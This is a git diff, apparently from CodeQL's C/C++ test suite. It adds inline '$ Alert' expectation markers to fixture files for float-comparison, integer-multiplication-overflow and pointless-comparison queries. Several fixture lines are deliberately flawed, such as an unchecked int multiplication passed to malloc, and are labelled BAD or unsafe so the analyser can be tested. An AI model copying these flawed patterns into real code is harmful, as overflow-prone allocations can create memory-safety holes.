BAD // $ Alert // overloaded comparison { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/FloatComparison/FloatComparison.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/FloatComparison/FloatComparison.qlref index 7a65c3a0dee0..2984d2c1968a 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/FloatComparison/FloatComparison.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/FloatComparison/FloatComparison.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/FloatComparison.ql +query: Likely Bugs/Arithmetic/FloatComparison.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/FloatComparison/c.c b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/FloatComparison/c.c index 9cf59f342c06..5b78d4d4aa70 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/FloatComparison/c.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/FloatComparison/c.c @@ -7,13 +7,13 @@ void c_f(void) { x == 3.0; 3.0 == x; x == x; - x == y; + x == y; // $ Alert g() == 3.0; 3.0 == g(); - g() == g(); + g() == g(); // $ Alert - x == g(); - g() == x; + x == g(); // $ Alert + g() == x; // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/Buildless.c b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/Buildless.c index 3d01a28fae0a..57b04c28b829 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/Buildless.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/Buildless.c @@ -3,7 +3,7 @@ void test_float_double1(float f, double d) { float r1 = f * f; // GOOD float r2 = f * d; // GOOD - double r3 = f * f; // BAD + double r3 = f * f; // BAD // $ Alert double r4 = f * d; // GOOD float f1 = fabsf(f * f); // GOOD @@ -18,7 +18,7 @@ float fabsf(float f); void test_float_double2(float f, double d) { float r1 = f * f; // GOOD float r2 = f * d; // GOOD - double r3 = f * f; // BAD + double r3 = f * f; // BAD // $ Alert double r4 = f * d; // GOOD float f1 = fabsf(f * f); // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.c b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.c index 7639c76bd8fc..c8d396d1da50 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.c @@ -1,10 +1,10 @@ long long f(short x, int y, long long z) { y == x * x; // safe y == x * (int)x; // safe - z == y * x; // unsafe + z == y * x; // unsafe // $ Alert z == (long long)(y * x); // we assume the user knows what they are doing if(x == 56) - return y * y; // unsafe + return y * y; // unsafe // $ Alert if(x == 56) return (long long)(y * y); // we assume the user knows what they are doing return 42 * 23; // safe @@ -15,10 +15,10 @@ void int_float(int i, int j, long long ll, float f, float g, double h, char c) { // but the target type does not imply that the developer anticipates one as with // an int -> long long conversion. We should therefore not flag these cases. - double v1_1 = f * g; // unsafe (float -> double) + double v1_1 = f * g; // unsafe (float -> double) // $ Alert double v1_2 = f * (double)g; // safe - double v2_1 = (i + j) * f; // unsafe (float -> double) + double v2_1 = (i + j) * f; // unsafe (float -> double) // $ Alert double v2_2 = (i + j) * (double)f; // safe double v3_1 = i * j; // dubious (int -> double) @@ -35,7 +35,7 @@ void int_float(int i, int j, long long ll, float f, float g, double h, char c) { int v6_1 = f * g; // safe (float -> int) int v6_2 = (int)f * g; // safe - double v7_1 = f * f; // unsafe (float -> double) + double v7_1 = f * f; // unsafe (float -> double) // $ Alert double v7_2 = h * h; // safe double v7_3 = (f * f); // unsafe (float -> double) [NOT DETECTED] @@ -56,11 +56,11 @@ void int_float(int i, int j, long long ll, float f, float g, double h, char c) { float v12_2 = 1.0f + f * f + f * f; // safe double v13_1 = f * f * 2.0; // unsafe (float -> double) [NOT DETECTED] - double v13_2 = f * f * 2.0f; // unsafe (float -> double) + double v13_2 = f * f * 2.0f; // unsafe (float -> double) // $ Alert - long long v14_1 = i * (i + 2) + ll; // unsafe (int -> long long) + long long v14_1 = i * (i + 2) + ll; // unsafe (int -> long long) // $ Alert long long v14_2 = i * (i + 2ll) * ll; // safe - long long v14_3 = i * (i + (int)2ll) + ll; // unsafe (int -> long long) + long long v14_3 = i * (i + (int)2ll) + ll; // unsafe (int -> long long) // $ Alert } typedef unsigned long long size_t; @@ -72,7 +72,7 @@ void use_size_t(int W, int H) int y = 20; const int vs[] = {10, 20}; - malloc(W * H); // unsafe (int -> size_t) + malloc(W * H); // unsafe (int -> size_t) // $ Alert malloc((size_t)W * (size_t)H); // safe malloc(10 * 20); // safe (small values) @@ -96,16 +96,16 @@ size_t three_chars(unsigned char a, unsigned char b, unsigned char c) { void g(unsigned char uchar1, unsigned char uchar2, unsigned char uchar3, int i) { unsigned long ulong1, ulong2, ulong3, ulong4, ulong5; ulong1 = (uchar1 + 1) * (uchar2 + 1); // GOOD - ulong2 = (i + 1) * (uchar2 + 1); // BAD + ulong2 = (i + 1) * (uchar2 + 1); // BAD // $ Alert ulong3 = (uchar1 + 1) * (uchar2 + 1) * (uchar3 + 1); // GOOD ulong4 = (uchar1 + (uchar1 + 1)) * (uchar2 + 1); // GOOD - ulong5 = (i + (uchar1 + 1)) * (uchar2 + 1); // BAD + ulong5 = (i + (uchar1 + 1)) * (uchar2 + 1); // BAD // $ Alert ulong5 = (uchar1 + 1073741824) * uchar2; // BAD [NOT DETECTED] ulong5 = (uchar1 + (1 << 30)) * uchar2; // BAD [NOT DETECTED] ulong5 = uchar1 * uchar1 * uchar1 * uchar2 * uchar2 * uchar2; // BAD [NOT DETECTED] - ulong5 = (uchar1 + (unsigned short)(-1)) * (uchar2 + (unsigned short)(-1)); // BAD + ulong5 = (uchar1 + (unsigned short)(-1)) * (uchar2 + (unsigned short)(-1)); // BAD // $ Alert } struct A { @@ -116,13 +116,13 @@ struct A { void g2(struct A* a, short n) { unsigned long ulong1, ulong2; ulong1 = (a->s - 1) * ((*a).s + 1); // GOOD - ulong2 = a->i * (*a).i; // BAD + ulong2 = a->i * (*a).i; // BAD // $ Alert } int global_i; unsigned char global_uchar; void g3() { unsigned long ulong1, ulong2; - ulong1 = global_i * global_i; // BAD + ulong1 = global_i * global_i; // BAD // $ Alert ulong2 = (global_uchar + 1) * 2; // GOOD } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.cpp index 28f22194ff7a..4266c3c3af58 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.cpp @@ -1,5 +1,5 @@ int i = 2000000000; -long j = i * i; // BAD +long j = i * i; // BAD // $ Alert long k = (long) i * i; // GOOD long l = (long) (i * i); // permitted as the conversion is explicit long m = static_cast (i) * i; // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.qlref index d2ced0155755..4616a5ea9dc8 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/IntMultToLong/IntMultToLong.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/IntMultToLong.ql +query: Likely Bugs/Arithmetic/IntMultToLong.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/ConstVirtual.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/ConstVirtual.cpp index b04f344c26ab..c993f180005a 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/ConstVirtual.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/ConstVirtual.cpp @@ -21,7 +21,7 @@ int g(C *c, int i) { return -1; } - if (i > 0) { // BAD + if (i > 0) { // BAD // $ Alert[cpp/constant-comparison] return 1; } else { return 0; diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.c b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.c index fd1bc655051d..71447e6d88db 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.c @@ -4,19 +4,19 @@ void myFunction1() { for (i = 0;; i = i+1) { - if (i < 20) result++; - if (i <= 20) result++; - if (i > 20) result++; - if (i >= 20) result++; - if (i == 20) result++; - if (i != 20) result++; - - if (i < -1) result++; - if (i <= -1) result++; - if (i > -1) result++; - if (i >= -1) result++; - if (i == -1) result++; - if (i != -1) result++; + if (i < 20) result++; // $ Alert[cpp/constant-comparison] + if (i <= 20) result++; // $ Alert[cpp/constant-comparison] + if (i > 20) result++; // $ Alert[cpp/constant-comparison] + if (i >= 20) result++; // $ Alert[cpp/constant-comparison] + if (i == 20) result++; // $ Alert[cpp/constant-comparison] + if (i != 20) result++; // $ Alert[cpp/constant-comparison] + + if (i < -1) result++; // $ Alert[cpp/constant-comparison] + if (i <= -1) result++; // $ Alert[cpp/constant-comparison] + if (i > -1) result++; // $ Alert[cpp/constant-comparison] + if (i >= -1) result++; // $ Alert[cpp/constant-comparison] + if (i == -1) result++; // $ Alert[cpp/constant-comparison] + if (i != -1) result++; // $ Alert[cpp/constant-comparison] if (i < 5) result++; if (i <= 5) result++; @@ -35,19 +35,19 @@ void myFunction2() { for (i = 0;; i++) { - if (i < 20) result++; - if (i <= 20) result++; - if (i > 20) result++; - if (i >= 20) result++; - if (i == 20) result++; - if (i != 20) result++; + if (i < 20) result++; // $ Alert[cpp/constant-comparison] + if (i <= 20) result++; // $ Alert[cpp/constant-comparison] + if (i > 20) result++; // $ Alert[cpp/constant-comparison] + if (i >= 20) result++; // $ Alert[cpp/constant-comparison] + if (i == 20) result++; // $ Alert[cpp/constant-comparison] + if (i != 20) result++; // $ Alert[cpp/constant-comparison] - if (i < -1) result++; - if (i <= -1) result++; - if (i > -1) result++; - if (i >= -1) result++; - if (i == -1) result++; - if (i != -1) result++; + if (i < -1) result++; // $ Alert[cpp/constant-comparison] + if (i <= -1) result++; // $ Alert[cpp/constant-comparison] + if (i > -1) result++; // $ Alert[cpp/constant-comparison] + if (i >= -1) result++; // $ Alert[cpp/constant-comparison] + if (i == -1) result++; // $ Alert[cpp/constant-comparison] + if (i != -1) result++; // $ Alert[cpp/constant-comparison] if (i < 5) result++; if (i <= 5) result++; @@ -62,7 +62,7 @@ void myFunction2() { int myFunction3(int i) { if (i < 4) { - if (i < 5) { + if (i < 5) { // $ Alert[cpp/constant-comparison] return 1; } } @@ -100,11 +100,11 @@ int myFunction4() { // Pointless checks for unsigned values being negative int unsignedBounds(unsigned int a, unsigned long b, unsigned long long c) { - if (a < 0) { + if (a < 0) { // $ Alert[cpp/constant-comparison] return 1; } - if (b >= 0) { // UnsignedGEZero - if (b > 0 && c < 0) { // Only the test of c is bad here + if (b >= 0) { // UnsignedGEZero // $ Alert[cpp/unsigned-comparison-zero] + if (b > 0 && c < 0) { // Only the test of c is bad here // $ Alert[cpp/constant-comparison] return 1; } } @@ -113,20 +113,20 @@ int unsignedBounds(unsigned int a, unsigned long b, unsigned long long c) { int twoReasons(int a, int b) { if (a <= 0 && b > 5) { - return a < b; + return a < b; // $ Alert[cpp/constant-comparison] } if (a <= 100 && b > 105) { // BUG [Not detected - this clause is always false] - return a > b; + return a > b; // $ Alert[cpp/constant-comparison] } return 0; } int repeatedComparisons(int a) { if (a >= 20) { - return a >= 20; + return a >= 20; // $ Alert[cpp/constant-comparison] } if (a <= 3) { - return a > 3; + return a > 3; // $ Alert[cpp/constant-comparison] } return 0; } @@ -194,7 +194,7 @@ int myFunction5(int x) { i++; } d = i; - if (x < 0) { // Comparison is always false. + if (x < 0) { // Comparison is always false. // $ Alert[cpp/constant-comparison] if (d > -x) { // Unreachable code. return 1; } @@ -239,7 +239,7 @@ void macroExpansionTest() { int x; MAYBE_DO(x = 1); // GOOD (the problem is in the macro) - MAYBE_DO(if (global_setting >= 0) {x = 2;}); // BAD (the problem is in the invocation) + MAYBE_DO(if (global_setting >= 0) {x = 2;}); // BAD (the problem is in the invocation) // $ Alert[cpp/unsigned-comparison-zero] } int overeager_wraparound(unsigned int u32bound, unsigned long long u64bound) { @@ -261,7 +261,7 @@ int overeager_wraparound(unsigned int u32bound, unsigned long long u64bound) { int negative_zero(double dbl) { if (dbl >= 0) { - return dbl >= -dbl; // GOOD [FALSE POSITIVE] + return dbl >= -dbl; // GOOD [FALSE POSITIVE] // $ Alert[cpp/constant-comparison] } return 0; } @@ -270,7 +270,7 @@ typedef unsigned char u8; int widening_cast1(u8 c) { if (c == 0) { - if ((int)c > 0) { // BAD + if ((int)c > 0) { // BAD // $ Alert[cpp/constant-comparison] return 1; } } @@ -280,7 +280,7 @@ int widening_cast1(u8 c) { int widening_cast2(u8 c) { if (c <= 10) return -1; - else if ((c >= 11) /* BAD */ && (c <= 47)) + else if ((c >= 11) /* BAD */ && (c <= 47)) // $ Alert[cpp/constant-comparison] return 0; else return 1; @@ -291,7 +291,7 @@ int unsigned_implicit_conversion(unsigned int ui1) { // implicit signedness conversion is on the constants (0 and 5), not on the // variables (ui1). if (ui1 == 0) { - if (ui1 >= 5) { // BAD + if (ui1 >= 5) { // BAD // $ Alert[cpp/constant-comparison] return 1; } } @@ -300,7 +300,7 @@ int unsigned_implicit_conversion(unsigned int ui1) { int signedness_cast1(u8 c) { if ((signed char)c == 0) { - if (c >= 5) { // BAD + if (c >= 5) { // BAD // $ Alert[cpp/constant-comparison] return 1; } } @@ -309,7 +309,7 @@ int signedness_cast1(u8 c) { int signedness_cast2(signed char c) { if ((u8)c == 0) { - if (c >= 5) { // BAD + if (c >= 5) { // BAD // $ Alert[cpp/constant-comparison] return 1; } } @@ -334,7 +334,7 @@ int nan2(double x) { if (x < 0.0) { return 100; } - else if (x >= 0.0) { // BAD [Always true] + else if (x >= 0.0) { // BAD [Always true] // $ Alert[cpp/constant-comparison] return 200; } else { @@ -369,8 +369,8 @@ void shifts(void) { unsigned int x = 3; - if (x >> 1 >= 1) {} // always true - if (x >> 1 >= 2) {} // always false + if (x >> 1 >= 1) {} // always true // $ Alert[cpp/constant-comparison] + if (x >> 1 >= 2) {} // always false // $ Alert[cpp/constant-comparison] if (x >> 1 == 1) {} // always true [NOT DETECTED] } @@ -380,15 +380,15 @@ void bitwise_ands() if ((x & 2) >= 1) {} if ((x & 2) >= 2) {} - if ((x & 2) >= 3) {} // always false + if ((x & 2) >= 3) {} // always false // $ Alert[cpp/constant-comparison] } void unsigned_mult(unsigned int x, unsigned int y) { if(x < 13 && y < 35) { - if(x * y > 1024) {} // always false + if(x * y > 1024) {} // always false // $ Alert[cpp/constant-comparison] if(x * y < 204) {} if(x >= 3 && y >= 2) { - if(x * y < 5) {} // always false + if(x * y < 5) {} // always false // $ Alert[cpp/constant-comparison] } } } @@ -411,7 +411,7 @@ void mult_overflow() { // to 64-bit unsigned. x = 274177UL; y = 67280421310721UL; - if (x * y == 1) {} // always true [BUG: reported as always false] + if (x * y == 1) {} // always true [BUG: reported as always false] // $ Alert[cpp/constant-comparison] // This bug appears to be caused by // `RangeAnalysisUtils::typeUpperBound(unsigned long)` having a result of diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.cpp index ce04ddcf0814..fe779ad2844b 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.cpp @@ -33,13 +33,13 @@ int extreme_values(void) unsigned long long int x = 0xFFFFFFFFFFFFFFFF; unsigned long long int y = 0xFFFFFFFFFFFF; - if (x >> 1 >= 0xFFFFFFFFFFFFFFFF) {} // always false + if (x >> 1 >= 0xFFFFFFFFFFFFFFFF) {} // always false // $ Alert[cpp/constant-comparison] if (x >> 1 >= 0x8000000000000000) {} // always false [NOT DETECTED] if (x >> 1 >= 0x7FFFFFFFFFFFFFFF) {} // always true [NOT DETECTED] if (x >> 1 >= 0xFFFFFFFFFFFFFFF) {} // always true [NOT DETECTED] - if (y >> 1 >= 0xFFFFFFFFFFFF) {} // always false - if (y >> 1 >= 0x800000000000) {} // always false - if (y >> 1 >= 0x7FFFFFFFFFFF) {} // always true - if (y >> 1 >= 0xFFFFFFFFFFF) {} // always true + if (y >> 1 >= 0xFFFFFFFFFFFF) {} // always false // $ Alert[cpp/constant-comparison] + if (y >> 1 >= 0x800000000000) {} // always false // $ Alert[cpp/constant-comparison] + if (y >> 1 >= 0x7FFFFFFFFFFF) {} // always true // $ Alert[cpp/constant-comparison] + if (y >> 1 >= 0xFFFFFFFFFFF) {} // always true // $ Alert[cpp/constant-comparison] } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.qlref index e3713c2911d9..150f789c59dc 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/PointlessComparison.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/PointlessComparison.ql +query: Likely Bugs/Arithmetic/PointlessComparison.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/RegressionTests.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/RegressionTests.cpp index 0ba766eda1d2..2496e5faf299 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/RegressionTests.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/RegressionTests.cpp @@ -54,7 +54,7 @@ static int foo(size_t *size) { int bar; - if (*size <= MAX_VAL) // BAD (pointless comparison) [NO LONGER REPORTED] + if (*size <= MAX_VAL) // BAD (pointless comparison) [NO LONGER REPORTED] // $ Alert[cpp/constant-comparison] *size = MAX_VAL; } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/Templates.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/Templates.cpp index a211b2307805..258ceea379da 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/Templates.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/Templates.cpp @@ -6,7 +6,7 @@ bool sometimesPointless(T param) { template bool alwaysPointless(T param) { short local = param; - return local <= 0xFFFF; // BAD (in all instantiations) + return local <= 0xFFFF; // BAD (in all instantiations) // $ Alert[cpp/constant-comparison] } static int caller(int i) { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/UnsignedGEZero.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/UnsignedGEZero.qlref index 4cf4c8eb0942..7a798dc7e917 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/UnsignedGEZero.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/PointlessComparison/UnsignedGEZero.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/UnsignedGEZero.ql +query: Likely Bugs/Arithmetic/UnsignedGEZero.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/Templates.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/Templates.cpp index a56f9c88c81d..80f2fc6bc878 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/Templates.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/Templates.cpp @@ -6,7 +6,7 @@ bool sometimesPointless(T param) { template bool alwaysPointless(T param) { unsigned int local = param; - return local >= 0; // BAD (in all instantiations) + return local >= 0; // BAD (in all instantiations) // $ Alert } static int caller(int i) { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.c b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.c index 749468450ef9..4ef600cc877f 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.c @@ -37,7 +37,7 @@ void myFunction() { myEnum1 e1; myEnum2 e2; - if (ui >= 0) { // violation + if (ui >= 0) { // violation // $ Alert } if (ui >= 1) { } @@ -45,21 +45,21 @@ void myFunction() { } if (ui < 0) { } - if (UI >= ZERO) { // violation + if (UI >= ZERO) { // violation // $ Alert } if (si >= 0) { } if (ui_ptr >= NULL) { // unsafe, but not a violation of UnsignedGEZero.ql } - if (uc >= 0) { // violation + if (uc >= 0) { // violation // $ Alert } if (sc >= 0) { } - if (u16 >= 0) { // violation + if (u16 >= 0) { // violation // $ Alert } if (s16 >= 0) { } - if (ull >= 0) { // violation + if (ull >= 0) { // violation // $ Alert } if (sll >= 0) { } @@ -72,33 +72,33 @@ void myFunction() { if (e2 >= 0) { } - if (ui >= const_zero) { // violation + if (ui >= const_zero) { // violation // $ Alert } if (ui >= maybe_zero) { } - if ((unsigned int)si >= 0) { // violation + if ((unsigned int)si >= 0) { // violation // $ Alert } if ((signed int)ui >= 0) { } - if ((unsigned char)ui >= 0) { // violation + if ((unsigned char)ui >= 0) { // violation // $ Alert } if ((signed char)ui >= 0) { } - if ((unsigned char)si >= 0) { // violation + if ((unsigned char)si >= 0) { // violation // $ Alert } if ((signed char)si >= 0) { } - if ((signed int)uc >= 0) { // violation + if ((signed int)uc >= 0) { // violation // $ Alert } - if ((unsigned int)uc >= 0) { // violation + if ((unsigned int)uc >= 0) { // violation // $ Alert } if ((signed int)sc >= 0) { } - if ((unsigned int)sc >= 0) { // violation + if ((unsigned int)sc >= 0) { // violation // $ Alert } - assert(ui >= 0); // violation + assert(ui >= 0); // violation // $ Alert assert(si >= 0); CHECK_RANGE(ui, 0, 10); // reasonable use @@ -108,32 +108,32 @@ void myFunction() { CHECK_RANGE(e2, BANANA, PEAR); CHECK_RANGE(e2, 0, PEAR); - assert(ui >= 0 && ui <= 100); // violation + assert(ui >= 0 && ui <= 100); // violation // $ Alert assert(CHECK_RANGE(ui, 0, 10)); // reasonable use assert(UI >= ZERO); // violation (not detected) - assert(ui GE 0); // violation + assert(ui GE 0); // violation // $ Alert - if ((unsigned char)si >= 0) { // violation + if ((unsigned char)si >= 0) { // violation // $ Alert } - if ((unsigned char)(signed int)si >= 0) { // violation + if ((unsigned char)(signed int)si >= 0) { // violation // $ Alert } - if ((signed int)(unsigned char)si >= 0) { // violation + if ((signed int)(unsigned char)si >= 0) { // violation // $ Alert } - if ((unsigned char)(signed char)si >= 0) { // violation + if ((unsigned char)(signed char)si >= 0) { // violation // $ Alert } if ((signed char)(unsigned char)si >= 0) { } - if ((signed int)(unsigned char)(signed int)si >= 0) { // violation + if ((signed int)(unsigned char)(signed int)si >= 0) { // violation // $ Alert } if ((signed char)(unsigned char)(signed int)si >= 0) { } - if ((signed int)(unsigned char)(signed char)si >= 0) { // violation + if ((signed int)(unsigned char)(signed char)si >= 0) { // violation // $ Alert } if (ui <= 0) { } - if (0 <= ui) { // violation + if (0 <= ui) { // violation // $ Alert } if (0 < ui) { } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.cpp b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.cpp index 6b939e29b76d..c07e278d5b46 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.cpp @@ -37,7 +37,7 @@ void myFunction() { myEnum1 e1; myEnum2 e2; - if (ui >= 0) { // violation + if (ui >= 0) { // violation // $ Alert } if (ui >= 1) { } @@ -45,21 +45,21 @@ void myFunction() { } if (ui < 0) { } - if (UI >= ZERO) { // violation + if (UI >= ZERO) { // violation // $ Alert } if (si >= 0) { } if (ui_ptr >= NULL) { // unsafe, but not a violation of UnsignedGEZero.ql } - if (uc >= 0) { // violation + if (uc >= 0) { // violation // $ Alert } if (sc >= 0) { } - if (u16 >= 0) { // violation + if (u16 >= 0) { // violation // $ Alert } if (s16 >= 0) { } - if (ull >= 0) { // violation + if (ull >= 0) { // violation // $ Alert } if (sll >= 0) { } @@ -72,33 +72,33 @@ void myFunction() { if (e2 >= 0) { } - if (ui >= const_zero) { // violation + if (ui >= const_zero) { // violation // $ Alert } if (ui >= maybe_zero) { } - if ((unsigned int)si >= 0) { // violation + if ((unsigned int)si >= 0) { // violation // $ Alert } if ((signed int)ui >= 0) { } - if ((unsigned char)ui >= 0) { // violation + if ((unsigned char)ui >= 0) { // violation // $ Alert } if ((signed char)ui >= 0) { } - if ((unsigned char)si >= 0) { // violation + if ((unsigned char)si >= 0) { // violation // $ Alert } if ((signed char)si >= 0) { } - if ((signed int)uc >= 0) { // violation + if ((signed int)uc >= 0) { // violation // $ Alert } - if ((unsigned int)uc >= 0) { // violation + if ((unsigned int)uc >= 0) { // violation // $ Alert } if ((signed int)sc >= 0) { } - if ((unsigned int)sc >= 0) { // violation + if ((unsigned int)sc >= 0) { // violation // $ Alert } - assert(ui >= 0); // violation + assert(ui >= 0); // violation // $ Alert assert(si >= 0); CHECK_RANGE(ui, 0, 10); // reasonable use @@ -108,32 +108,32 @@ void myFunction() { CHECK_RANGE(e2, BANANA, PEAR); CHECK_RANGE(e2, 0, PEAR); - assert(ui >= 0 && ui <= 100); // violation + assert(ui >= 0 && ui <= 100); // violation // $ Alert assert(CHECK_RANGE(ui, 0, 10)); // reasonable use assert(UI >= ZERO); // violation (not detected) - assert(ui GE 0); // violation + assert(ui GE 0); // violation // $ Alert - if ((unsigned char)si >= 0) { // violation + if ((unsigned char)si >= 0) { // violation // $ Alert } - if ((unsigned char)(signed int)si >= 0) { // violation + if ((unsigned char)(signed int)si >= 0) { // violation // $ Alert } - if ((signed int)(unsigned char)si >= 0) { // violation + if ((signed int)(unsigned char)si >= 0) { // violation // $ Alert } - if ((unsigned char)(signed char)si >= 0) { // violation + if ((unsigned char)(signed char)si >= 0) { // violation // $ Alert } if ((signed char)(unsigned char)si >= 0) { } - if ((signed int)(unsigned char)(signed int)si >= 0) { // violation + if ((signed int)(unsigned char)(signed int)si >= 0) { // violation // $ Alert } if ((signed char)(unsigned char)(signed int)si >= 0) { } - if ((signed int)(unsigned char)(signed char)si >= 0) { // violation + if ((signed int)(unsigned char)(signed char)si >= 0) { // violation // $ Alert } if (ui <= 0) { } - if (0 <= ui) { // violation + if (0 <= ui) { // violation // $ Alert } if (0 < ui) { } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.qlref b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.qlref index 4cf4c8eb0942..7a798dc7e917 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Arithmetic/UnsignedGEZero/UnsignedGEZero.qlref @@ -1 +1,2 @@ -Likely Bugs/Arithmetic/UnsignedGEZero.ql +query: Likely Bugs/Arithmetic/UnsignedGEZero.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/ContinueInFalseLoop/ContinueInFalseLoop.qlref b/cpp/ql/test/query-tests/Likely Bugs/ContinueInFalseLoop/ContinueInFalseLoop.qlref index 48d9feb20721..2ba384a7922b 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ContinueInFalseLoop/ContinueInFalseLoop.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/ContinueInFalseLoop/ContinueInFalseLoop.qlref @@ -1 +1,2 @@ -Likely Bugs/ContinueInFalseLoop.ql +query: Likely Bugs/ContinueInFalseLoop.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/ContinueInFalseLoop/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/ContinueInFalseLoop/test.cpp index 0ece8727e666..ec59c0aca236 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ContinueInFalseLoop/test.cpp +++ b/cpp/ql/test/query-tests/Likely 